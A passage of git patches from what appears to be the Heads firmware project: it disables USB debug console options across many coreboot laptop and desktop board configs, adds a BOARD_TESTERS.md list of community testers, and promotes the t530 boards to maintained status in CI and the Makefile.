-CONFIG_USBDEBUG_DONGLE_STD=y -# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set -# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set -# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set -CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_USBDEBUG is not set # CONFIG_VPD is not set CONFIG_DRIVERS_EMULATION_QEMU_BOCHS=y CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_XRES=1024 @@ -460,7 +452,6 @@ CONFIG_BOOTBLOCK_CONSOLE=y CONFIG_POSTCAR_CONSOLE=y CONFIG_SQUELCH_EARLY_SMP=y # CONFIG_SPKMODEM is not set -CONFIG_CONSOLE_USB=y # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set diff --git a/config/coreboot-qemu-tpm2.config b/config/coreboot-qemu-tpm2.config index 2d9dcbcbe..2aba14393 100644 --- a/config/coreboot-qemu-tpm2.config +++ b/config/coreboot-qemu-tpm2.config @@ -133,7 +133,6 @@ CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Emulation" CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=0 # CONFIG_CONSOLE_POST is not set CONFIG_TPM_PIRQ=0x0 # CONFIG_BOARD_EMULATION_QEMU_AARCH64 is not set @@ -357,14 +356,7 @@ CONFIG_DRIVERS_UART=y # CONFIG_DRIVERS_UART_OXPCIE is not set CONFIG_HAVE_USBDEBUG=y CONFIG_HAVE_USBDEBUG_OPTIONS=y -CONFIG_USBDEBUG=y -CONFIG_USBDEBUG_IN_PRE_RAM=y -CONFIG_USBDEBUG_DEFAULT_PORT=0 -CONFIG_USBDEBUG_DONGLE_STD=y -# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set -# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set -# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set -CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_USBDEBUG is not set # CONFIG_VPD is not set CONFIG_DRIVERS_EMULATION_QEMU_BOCHS=y CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_XRES=1024 @@ -453,7 +445,6 @@ CONFIG_BOOTBLOCK_CONSOLE=y CONFIG_POSTCAR_CONSOLE=y CONFIG_SQUELCH_EARLY_SMP=y # CONFIG_SPKMODEM is not set -CONFIG_CONSOLE_USB=y # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set diff --git a/config/coreboot-t420-maximized.config b/config/coreboot-t420-maximized.config index c70b82ded..952bae73c 100644 --- a/config/coreboot-t420-maximized.config +++ b/config/coreboot-t420-maximized.config @@ -478,14 +478,7 @@ CONFIG_NO_UART_ON_SUPERIO=y # CONFIG_DRIVERS_UART_OXPCIE is not set CONFIG_HAVE_USBDEBUG=y CONFIG_HAVE_USBDEBUG_OPTIONS=y -CONFIG_USBDEBUG=y -CONFIG_USBDEBUG_IN_PRE_RAM=y -CONFIG_USBDEBUG_DEFAULT_PORT=0 -CONFIG_USBDEBUG_DONGLE_STD=y -# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set -# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set -# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set -CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_USBDEBUG is not set # CONFIG_VPD is not set # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set # CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set @@ -592,7 +585,6 @@ CONFIG_BOOTBLOCK_CONSOLE=y CONFIG_POSTCAR_CONSOLE=y CONFIG_SQUELCH_EARLY_SMP=y # CONFIG_SPKMODEM is not set -CONFIG_CONSOLE_USB=y # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set diff --git a/config/coreboot-t420.config b/config/coreboot-t420.config index 1a4ada981..0c709260c 100644 --- a/config/coreboot-t420.config +++ b/config/coreboot-t420.config @@ -696,3 +696,4 @@ CONFIG_HAVE_BOOTBLOCK=y CONFIG_HAVE_ROMSTAGE=y CONFIG_HAVE_RAMSTAGE=y CONFIG_USBDEBUG=y +CONFIG_USBDEBUG=n diff --git a/config/coreboot-t430-legacy-flash.config b/config/coreboot-t430-legacy-flash.config index 5fea4a623..464ed808c 100644 --- a/config/coreboot-t430-legacy-flash.config +++ b/config/coreboot-t430-legacy-flash.config @@ -663,3 +663,4 @@ CONFIG_HAVE_BOOTBLOCK=y CONFIG_HAVE_ROMSTAGE=y CONFIG_HAVE_RAMSTAGE=y CONFIG_USBDEBUG=y +CONFIG_USBDEBUG=n diff --git a/config/coreboot-t430-legacy.config b/config/coreboot-t430-legacy.config index f661d1b7e..b5ef2a1b4 100644 --- a/config/coreboot-t430-legacy.config +++ b/config/coreboot-t430-legacy.config @@ -682,3 +682,4 @@ CONFIG_HAVE_BOOTBLOCK=y CONFIG_HAVE_ROMSTAGE=y CONFIG_HAVE_RAMSTAGE=y CONFIG_USBDEBUG=y +CONFIG_USBDEBUG=n diff --git a/config/coreboot-t430-maximized.config b/config/coreboot-t430-maximized.config index 66bb73465..d59d94f78 100644 --- a/config/coreboot-t430-maximized.config +++ b/config/coreboot-t430-maximized.config @@ -478,14 +478,7 @@ CONFIG_NO_UART_ON_SUPERIO=y # CONFIG_DRIVERS_UART_OXPCIE is not set CONFIG_HAVE_USBDEBUG=y CONFIG_HAVE_USBDEBUG_OPTIONS=y -CONFIG_USBDEBUG=y -CONFIG_USBDEBUG_IN_PRE_RAM=y -CONFIG_USBDEBUG_DEFAULT_PORT=0 -CONFIG_USBDEBUG_DONGLE_STD=y -# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set -# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set -# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set -CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_USBDEBUG is not set # CONFIG_VPD is not set # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set # CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set @@ -592,7 +585,6 @@ CONFIG_BOOTBLOCK_CONSOLE=y CONFIG_POSTCAR_CONSOLE=y CONFIG_SQUELCH_EARLY_SMP=y # CONFIG_SPKMODEM is not set -CONFIG_CONSOLE_USB=y # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set diff --git a/config/coreboot-t440p.config b/config/coreboot-t440p.config index 43de12474..d84599f4a 100644 --- a/config/coreboot-t440p.config +++ b/config/coreboot-t440p.config @@ -474,14 +474,7 @@ CONFIG_NO_UART_ON_SUPERIO=y # CONFIG_DRIVERS_UART_OXPCIE is not set CONFIG_HAVE_USBDEBUG=y CONFIG_HAVE_USBDEBUG_OPTIONS=y -CONFIG_USBDEBUG=y -CONFIG_USBDEBUG_IN_PRE_RAM=y -CONFIG_USBDEBUG_DEFAULT_PORT=0 -CONFIG_USBDEBUG_DONGLE_STD=y -# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set -# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set -# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set -CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_USBDEBUG is not set # CONFIG_VPD is not set # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set # CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set @@ -587,7 +580,6 @@ CONFIG_BOOTBLOCK_CONSOLE=y CONFIG_POSTCAR_CONSOLE=y CONFIG_SQUELCH_EARLY_SMP=y # CONFIG_SPKMODEM is not set -CONFIG_CONSOLE_USB=y # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set diff --git a/config/coreboot-t520-maximized.config b/config/coreboot-t520-maximized.config index 4376cdfaf..f765817a7 100644 --- a/config/coreboot-t520-maximized.config +++ b/config/coreboot-t520-maximized.config @@ -692,3 +692,4 @@ CONFIG_HAVE_BOOTBLOCK=y CONFIG_HAVE_ROMSTAGE=y CONFIG_HAVE_RAMSTAGE=y CONFIG_USBDEBUG=y +CONFIG_USBDEBUG=n diff --git a/config/coreboot-t530-dgpu-maximized.config b/config/coreboot-t530-dgpu-maximized.config index 3cc26a5fe..519cd047b 100644 --- a/config/coreboot-t530-dgpu-maximized.config +++ b/config/coreboot-t530-dgpu-maximized.config @@ -728,3 +728,4 @@ CONFIG_HAVE_BOOTBLOCK=y CONFIG_HAVE_ROMSTAGE=y CONFIG_HAVE_RAMSTAGE=y CONFIG_USBDEBUG=y +CONFIG_USBDEBUG=n diff --git a/config/coreboot-t530-maximized.config b/config/coreboot-t530-maximized.config index 2a05f5659..994fa0263 100644 --- a/config/coreboot-t530-maximized.config +++ b/config/coreboot-t530-maximized.config @@ -481,14 +481,7 @@ CONFIG_NO_UART_ON_SUPERIO=y # CONFIG_DRIVERS_UART_OXPCIE is not set CONFIG_HAVE_USBDEBUG=y CONFIG_HAVE_USBDEBUG_OPTIONS=y -CONFIG_USBDEBUG=y -CONFIG_USBDEBUG_IN_PRE_RAM=y -CONFIG_USBDEBUG_DEFAULT_PORT=0 -CONFIG_USBDEBUG_DONGLE_STD=y -# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set -# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set -# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set -CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_USBDEBUG is not set # CONFIG_VPD is not set # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set # CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set @@ -594,7 +587,6 @@ CONFIG_BOOTBLOCK_CONSOLE=y CONFIG_POSTCAR_CONSOLE=y CONFIG_SQUELCH_EARLY_SMP=y # CONFIG_SPKMODEM is not set -CONFIG_CONSOLE_USB=y # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set diff --git a/config/coreboot-w530-dgpu-K1000m-maximized.config b/config/coreboot-w530-dgpu-K1000m-maximized.config index 701d532c8..124e224ec 100644 --- a/config/coreboot-w530-dgpu-K1000m-maximized.config +++ b/config/coreboot-w530-dgpu-K1000m-maximized.config @@ -729,3 +729,4 @@ CONFIG_HAVE_BOOTBLOCK=y CONFIG_HAVE_ROMSTAGE=y CONFIG_HAVE_RAMSTAGE=y CONFIG_USBDEBUG=y +CONFIG_USBDEBUG=n diff --git a/config/coreboot-w530-dgpu-K2000m-maximized.config b/config/coreboot-w530-dgpu-K2000m-maximized.config index 249f880e6..3b6490038 100644 --- a/config/coreboot-w530-dgpu-K2000m-maximized.config +++ b/config/coreboot-w530-dgpu-K2000m-maximized.config @@ -729,3 +729,4 @@ CONFIG_HAVE_BOOTBLOCK=y CONFIG_HAVE_ROMSTAGE=y CONFIG_HAVE_RAMSTAGE=y CONFIG_USBDEBUG=y +CONFIG_USBDEBUG=n diff --git a/config/coreboot-w530-maximized.config b/config/coreboot-w530-maximized.config index 0caf3cdb8..f2b88c496 100644 --- a/config/coreboot-w530-maximized.config +++ b/config/coreboot-w530-maximized.config @@ -481,14 +481,7 @@ CONFIG_NO_UART_ON_SUPERIO=y # CONFIG_DRIVERS_UART_OXPCIE is not set CONFIG_HAVE_USBDEBUG=y CONFIG_HAVE_USBDEBUG_OPTIONS=y -CONFIG_USBDEBUG=y -CONFIG_USBDEBUG_IN_PRE_RAM=y -CONFIG_USBDEBUG_DEFAULT_PORT=0 -CONFIG_USBDEBUG_DONGLE_STD=y -# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set -# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set -# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set -CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_USBDEBUG is not set # CONFIG_VPD is not set # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set # CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set @@ -595,7 +588,6 @@ CONFIG_BOOTBLOCK_CONSOLE=y CONFIG_POSTCAR_CONSOLE=y CONFIG_SQUELCH_EARLY_SMP=y # CONFIG_SPKMODEM is not set -CONFIG_CONSOLE_USB=y # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set diff --git a/config/coreboot-w541.config b/config/coreboot-w541.config index 69dc970d8..843c6246b 100644 --- a/config/coreboot-w541.config +++ b/config/coreboot-w541.config @@ -474,14 +474,7 @@ CONFIG_NO_UART_ON_SUPERIO=y # CONFIG_DRIVERS_UART_OXPCIE is not set CONFIG_HAVE_USBDEBUG=y CONFIG_HAVE_USBDEBUG_OPTIONS=y -CONFIG_USBDEBUG=y -CONFIG_USBDEBUG_IN_PRE_RAM=y -CONFIG_USBDEBUG_DEFAULT_PORT=0 -CONFIG_USBDEBUG_DONGLE_STD=y -# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set -# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set -# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set -CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_USBDEBUG is not set # CONFIG_VPD is not set # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set # CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set @@ -586,7 +579,6 @@ CONFIG_BOOTBLOCK_CONSOLE=y CONFIG_POSTCAR_CONSOLE=y CONFIG_SQUELCH_EARLY_SMP=y # CONFIG_SPKMODEM is not set -CONFIG_CONSOLE_USB=y # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set diff --git a/config/coreboot-x220-maximized.config b/config/coreboot-x220-maximized.config index ba308ff7a..37056405b 100644 --- a/config/coreboot-x220-maximized.config +++ b/config/coreboot-x220-maximized.config @@ -478,14 +478,7 @@ CONFIG_NO_UART_ON_SUPERIO=y # CONFIG_DRIVERS_UART_OXPCIE is not set CONFIG_HAVE_USBDEBUG=y CONFIG_HAVE_USBDEBUG_OPTIONS=y -CONFIG_USBDEBUG=y -CONFIG_USBDEBUG_IN_PRE_RAM=y -CONFIG_USBDEBUG_DEFAULT_PORT=0 -CONFIG_USBDEBUG_DONGLE_STD=y -# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set -# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set -# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set -CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_USBDEBUG is not set # CONFIG_VPD is not set # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set # CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set @@ -591,7 +584,6 @@ CONFIG_BOOTBLOCK_CONSOLE=y CONFIG_POSTCAR_CONSOLE=y CONFIG_SQUELCH_EARLY_SMP=y # CONFIG_SPKMODEM is not set -CONFIG_CONSOLE_USB=y # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set diff --git a/config/coreboot-x220.config b/config/coreboot-x220.config index a1edd6fc1..e3f86e3d2 100644 --- a/config/coreboot-x220.config +++ b/config/coreboot-x220.config @@ -698,3 +698,4 @@ CONFIG_HAVE_BOOTBLOCK=y CONFIG_HAVE_ROMSTAGE=y CONFIG_HAVE_RAMSTAGE=y CONFIG_USBDEBUG=y +CONFIG_USBDEBUG=n diff --git a/config/coreboot-x230-legacy-flash.config b/config/coreboot-x230-legacy-flash.config index 54ba0eb69..42f3ebadf 100644 --- a/config/coreboot-x230-legacy-flash.config +++ b/config/coreboot-x230-legacy-flash.config @@ -465,14 +465,7 @@ CONFIG_NO_UART_ON_SUPERIO=y # CONFIG_DRIVERS_UART_OXPCIE is not set CONFIG_HAVE_USBDEBUG=y CONFIG_HAVE_USBDEBUG_OPTIONS=y -CONFIG_USBDEBUG=y -CONFIG_USBDEBUG_IN_PRE_RAM=y -CONFIG_USBDEBUG_DEFAULT_PORT=0 -CONFIG_USBDEBUG_DONGLE_STD=y -# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set -# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set -# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set -CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_USBDEBUG is not set # CONFIG_VPD is not set # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set # CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set @@ -575,7 +568,6 @@ CONFIG_BOOTBLOCK_CONSOLE=y CONFIG_POSTCAR_CONSOLE=y CONFIG_SQUELCH_EARLY_SMP=y # CONFIG_SPKMODEM is not set -CONFIG_CONSOLE_USB=y # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set diff --git a/config/coreboot-x230-legacy.config b/config/coreboot-x230-legacy.config index 12be7c439..c20f280da 100644 --- a/config/coreboot-x230-legacy.config +++ b/config/coreboot-x230-legacy.config @@ -465,14 +465,7 @@ CONFIG_NO_UART_ON_SUPERIO=y # CONFIG_DRIVERS_UART_OXPCIE is not set CONFIG_HAVE_USBDEBUG=y CONFIG_HAVE_USBDEBUG_OPTIONS=y -CONFIG_USBDEBUG=y -CONFIG_USBDEBUG_IN_PRE_RAM=y -CONFIG_USBDEBUG_DEFAULT_PORT=0 -CONFIG_USBDEBUG_DONGLE_STD=y -# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set -# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set -# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set -CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_USBDEBUG is not set # CONFIG_VPD is not set # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set # CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set @@ -576,7 +569,6 @@ CONFIG_BOOTBLOCK_CONSOLE=y CONFIG_POSTCAR_CONSOLE=y CONFIG_SQUELCH_EARLY_SMP=y # CONFIG_SPKMODEM is not set -CONFIG_CONSOLE_USB=y # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set diff --git a/config/coreboot-x230-maximized-fhd_edp.config b/config/coreboot-x230-maximized-fhd_edp.config index 5f1af0fa0..dd4ead213 100644 --- a/config/coreboot-x230-maximized-fhd_edp.config +++ b/config/coreboot-x230-maximized-fhd_edp.config @@ -479,14 +479,7 @@ CONFIG_NO_UART_ON_SUPERIO=y # CONFIG_DRIVERS_UART_OXPCIE is not set CONFIG_HAVE_USBDEBUG=y CONFIG_HAVE_USBDEBUG_OPTIONS=y -CONFIG_USBDEBUG=y -CONFIG_USBDEBUG_IN_PRE_RAM=y -CONFIG_USBDEBUG_DEFAULT_PORT=0 -CONFIG_USBDEBUG_DONGLE_STD=y -# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set -# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set -# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set -CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_USBDEBUG is not set # CONFIG_VPD is not set # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set # CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set @@ -591,7 +584,6 @@ CONFIG_BOOTBLOCK_CONSOLE=y CONFIG_POSTCAR_CONSOLE=y CONFIG_SQUELCH_EARLY_SMP=y # CONFIG_SPKMODEM is not set -CONFIG_CONSOLE_USB=y # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set diff --git a/config/coreboot-x230-maximized.config b/config/coreboot-x230-maximized.config index 8d238b7fe..5d85644e7 100644 --- a/config/coreboot-x230-maximized.config +++ b/config/coreboot-x230-maximized.config @@ -476,14 +476,7 @@ CONFIG_NO_UART_ON_SUPERIO=y # CONFIG_DRIVERS_UART_OXPCIE is not set CONFIG_HAVE_USBDEBUG=y CONFIG_HAVE_USBDEBUG_OPTIONS=y -CONFIG_USBDEBUG=y -CONFIG_USBDEBUG_IN_PRE_RAM=y -CONFIG_USBDEBUG_DEFAULT_PORT=0 -CONFIG_USBDEBUG_DONGLE_STD=y -# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set -# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set -# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set -CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_USBDEBUG is not set # CONFIG_VPD is not set # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set # CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set @@ -589,7 +582,6 @@ CONFIG_BOOTBLOCK_CONSOLE=y CONFIG_POSTCAR_CONSOLE=y CONFIG_SQUELCH_EARLY_SMP=y # CONFIG_SPKMODEM is not set -CONFIG_CONSOLE_USB=y # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set diff --git a/config/coreboot-z220-cmt.config b/config/coreboot-z220-cmt.config index 50e4fc974..fe44e047d 100644 --- a/config/coreboot-z220-cmt.config +++ b/config/coreboot-z220-cmt.config @@ -457,14 +457,7 @@ CONFIG_DRIVERS_UART=y # CONFIG_DRIVERS_UART_OXPCIE is not set CONFIG_HAVE_USBDEBUG=y CONFIG_HAVE_USBDEBUG_OPTIONS=y -CONFIG_USBDEBUG=y -CONFIG_USBDEBUG_IN_PRE_RAM=y -CONFIG_USBDEBUG_DEFAULT_PORT=0 -CONFIG_USBDEBUG_DONGLE_STD=y -# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set -# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set -# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set -CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_USBDEBUG is not set # CONFIG_VPD is not set # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set # CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set @@ -587,7 +580,6 @@ CONFIG_CONSOLE_SERIAL_115200=y # CONFIG_CONSOLE_SERIAL_9600 is not set CONFIG_TTYS0_LCS=3 # CONFIG_SPKMODEM is not set -CONFIG_CONSOLE_USB=y # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_SPI_FLASH is not set From 549c2e45042a013743555fd73d52e9c48f43234e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 22 Jul 2024 08:41:49 -0400 Subject: [PATCH 182/619] BOARD_TESTERS.md: Add known board owners with external programmer (testers) Those are currently known to be willing testers of coreboot/linux version bumps PRs to not cause bricks under Heads master Signed-off-by: Thierry Laurion --- BOARD_TESTERS.md | 55 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 55 insertions(+) create mode 100644 BOARD_TESTERS.md diff --git a/BOARD_TESTERS.md b/BOARD_TESTERS.md new file mode 100644 index 000000000..b15d3cfc8 --- /dev/null +++ b/BOARD_TESTERS.md @@ -0,0 +1,55 @@ +Live list of community supported platform testers per last coreboot/linux version bump +== + +Heads is a community project, where boards under boards/* need to be tested by board owners when coreboot/linux version bumps happen prior of a Pull Request (PR) merge. +This list will be maintained per coreboot/linux version bumps PRs. + +Please see boards/BOARD_NAME/BOARD_NAME.config for HCL details. + +---- + +As per https://github.com/linuxboot/heads/issues/692, currently built CircleCI boards ROMs are: + +Laptops +== + +xx20 (Sandy): +=== +- [ ] t420 (xx20): @alexmaloteaux @natterangell (iGPU) @akfhasodh @doob85 +- [ ] x220 (xx20): @Thrilleratplay @BlackMaria @srgrint + +xx30 (Ivy): +=== +- [ ] t430 (xx30): @nestire(t430-legacy, t430-maximized) @Thrilleratplay @alexmaloteaux @lsafd @bwachter(iGPU maximized) @shamen123 @eganonoa(iGPU) @nitrosimon @jans23 @icequbes1 (iGPU) @weyounsix (t430-dgpu) +- [ ] w530 (xx30): @eganonoa @zifxify @weyounsix (dGPU: w530-k2000m) @jnscmns (dGPU K1000M) @computer-user123 (w530 / & w530 k2000 : prefers iGPU) +- [ ] x230 (xx30): @nestire(x230-legacy, x230-maximized) @tlaurion(maximized) @osresearch @merge @jan23 @MrChromebox @shamen123 @eganonoa @bwachter @Thrilleratplay @jnscmns @doob85 @natterangell (x230i variant: irrelevant individual board) +- [ ] x230-fhd/edp variant: @n4ru @computer-user123 (nitro caster board) @Tonux599 @househead @pcm720 (eDP 4.0 board and 1440p display) +- [ ] t530 (xx30): @fhvyhjriur @3hhh (Currently UNMAINTAINED_t530-maximized: opportunity to mainstream and close https://github.com/linuxboot/heads/issues/1682) + +xx4x(Haswell): +=== +- [ ] t440p: @ThePlexus @srgrint @akunterkontrolle @rbreslow +- [ ] w541 (similar to t440p): @resende-gustavo @gaspar-ilom + +Librems: +=== +- [ ] Librem 11(JasperLake): @JonathonHall-Purism +- [ ] Librem 13v2 (Skylake): @JonathonHall-Purism +- [ ] Librem 13v4 (Kabylake): @JonathonHall-Purism +- [ ] Librem 14 (CometLake): @JonathonHall-Purism +- [ ] Librem 15v3 (Skylake): @JonathonHall-Purism +- [ ] Librem 15v4 (Kabylake): @JonathonHall-Purism + +Clevo: +=== +- [ ] Nitropad NS50 (AlderLake) : @daringer +- [ ] Nitropad NV41 (AlderLake) : @daringer, @tlaurion + + +Desktops/Servers +== +- [ ] kgpe-d16 (AMD fam15h) (dropped in coreboot 4.12): @tlaurion @Tonux599 @zifxify @arhabd +- [ ] Librem L1UM v1 (Broadwell): @JonathonHall-Purism +- [ ] Librem L1Um v2 (CoffeeLake): @JonathonHall-Purism +- [ ] Talos II (PPC64LE, Power9) : @tlaurion +- [ ] z220-cmt (HP Z220 CMT): @d-wid From cf9d10adebf489fc0cf459d7734ba8fe7183c061 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 22 Jul 2024 15:07:15 -0400 Subject: [PATCH 183/619] t530(-hotp)-maximized: move+ rename to boards/* + unify with x230-maximized boards for 24.02.01 + add Makefile helper + add back to CircleCI Signed-off-by: Thierry Laurion --- .circleci/config.yml | 11 ++++++-- BOARD_TESTERS.md | 2 +- Makefile | 13 ++++++++++ .../t530-hotp-maximized.config | 2 +- .../t530-maximized.config} | 0 config/coreboot-t530-maximized.config | 26 ++++++++----------- 6 files changed, 35 insertions(+), 19 deletions(-) rename unmaintained_boards/UNMAINTAINED_t530-hotp-maximized/UNMAINTAINED_t530-hotp-maximized.config => boards/t530-hotp-maximized/t530-hotp-maximized.config (98%) rename boards/{UNMAINTAINED_t530-maximized/UNMAINTAINED_t530-maximized.config => t530-maximized/t530-maximized.config} (100%) diff --git a/.circleci/config.yml b/.circleci/config.yml index 17226064a..e30f374a4 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -384,8 +384,15 @@ workflows: - x230-hotp-maximized - build: - name: UNMAINTAINED_t530-maximized - target: UNMAINTAINED_t530-maximized + name: t530-maximized + target: t530-maximized + subcommand: "" + requires: + - x230-hotp-maximized + + - build: + name: t530-hotp-maximized + target: t530-hotp-maximized subcommand: "" requires: - x230-hotp-maximized diff --git a/BOARD_TESTERS.md b/BOARD_TESTERS.md index b15d3cfc8..d93375907 100644 --- a/BOARD_TESTERS.md +++ b/BOARD_TESTERS.md @@ -24,7 +24,7 @@ xx30 (Ivy): - [ ] w530 (xx30): @eganonoa @zifxify @weyounsix (dGPU: w530-k2000m) @jnscmns (dGPU K1000M) @computer-user123 (w530 / & w530 k2000 : prefers iGPU) - [ ] x230 (xx30): @nestire(x230-legacy, x230-maximized) @tlaurion(maximized) @osresearch @merge @jan23 @MrChromebox @shamen123 @eganonoa @bwachter @Thrilleratplay @jnscmns @doob85 @natterangell (x230i variant: irrelevant individual board) - [ ] x230-fhd/edp variant: @n4ru @computer-user123 (nitro caster board) @Tonux599 @househead @pcm720 (eDP 4.0 board and 1440p display) -- [ ] t530 (xx30): @fhvyhjriur @3hhh (Currently UNMAINTAINED_t530-maximized: opportunity to mainstream and close https://github.com/linuxboot/heads/issues/1682) +- [ ] t530 (xx30): @fhvyhjriur @3hhh (Opportunity to mainstream and close https://github.com/linuxboot/heads/issues/1682) xx4x(Haswell): === diff --git a/Makefile b/Makefile index 9ba5426bd..c952ab001 100644 --- a/Makefile +++ b/Makefile @@ -801,6 +801,19 @@ board.move_untested_to_tested: echo "Replacing $$BOARD with $$NEW_BOARD in .circleci/config.yml"; \ sed -i "s/$$BOARD/$$NEW_BOARD/g" 